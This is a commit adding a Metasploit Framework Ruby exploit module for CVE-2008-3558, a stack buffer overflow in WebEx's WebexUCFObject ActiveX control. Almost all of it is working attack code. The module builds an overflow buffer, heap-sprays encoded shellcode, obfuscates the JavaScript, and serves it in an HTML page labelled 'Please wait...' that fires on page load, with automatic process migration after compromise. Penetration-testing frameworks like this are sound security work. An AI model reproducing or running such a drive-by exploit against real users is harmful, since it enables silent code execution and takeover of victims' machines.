add exploit module for cve-2008-3558
git-svn-id: file:///home/svn/framework3/trunk@8712 4d416f70-5f16-0410-b530-b9f4589650daunstable
Joshua Drake
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in WebEx's WebexUCFObject
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ActiveX Control. If an long string is passed to the 'NewObject' method, a stack-
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based buffer overflow will occur when copying attacker-supplied data using the
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sprintf function.
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It is noteworthy that this vulnerability was discovered and reported by multiple
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independent researchers. To quote iDefense's advisory, "Before this issue was
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publicly reported, at least three independent security researchers had knowledge
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of this issue; thus, it is reasonable to believe that even more people were aware
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of this issue before disclosure."
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NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload
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into memory unmodified.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tobias Klein', # initial discoverer
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'Elazar Broad', # initial discoverer
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'Guido Landi', # milw0rm exploit
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'jduck' # metasploit version
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-3558' ],
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[ 'OSVDB', '47344' ],
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[ 'BID', '30578' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/6220' ],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=849' ],
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[ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-009.txt' ],
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[ 'URL', 'http://tk-blog.blogspot.com/2008/09/vulnerability-rediscovery-xss-and-webex.html' ],
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[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2008-08/0084.html' ],
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[ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a00809e2006.shtml' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested with atucfobj.dll v20.2008.2601.4928
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[ 'Windows Universal', { 'Ret' => 0x0c0c0c0c } ],
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],
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# ActiveX parameters
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progid = "WebexUCFObject.WebexUCFObject"
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clsid = "32E26FD9-F435-4A20-A561-35D4B987CFDC"
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# Set parameters
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fnname = rand_text_alpha(8+rand(8))
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offset = 232
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# Build the exploit buffer
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sploit = rand_text_alphanumeric(offset)
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sploit << [target.ret - 0x20000].pack('V')
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# Encode variables
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sploit = Rex::Text.to_hex(sploit, '%')
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Prepare the heap spray parameters
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spray_num = "0x%x" % target.ret
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# Generate the final javascript
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js = %Q|
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function #{fnname}()
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{
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try {
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var obj = new ActiveXObject("#{progid}");
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var my_unescape = unescape;
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var shellcode = '#{shellcode}';
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#{js_heap_spray}
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sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
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var sploit = my_unescape("#{sploit}");
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obj.NewObject(sploit);
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} catch( e ) { window.location = 'about:blank' ; }
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}
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# Obfuscate the javascript
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opts = {
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'Strings' => true,
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'Symbols' => {
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'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit }
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}
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}
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js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
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js.obfuscate()
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# Build the final HTML
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content = %Q|<html>
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<head>
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<script language=javascript>
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#{js}
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</script>
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</head>
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<body onload="#{fnname}()">
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Please wait...
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</body>
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</html>
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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send_response_html(cli, content)
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handler(cli)
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end
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end
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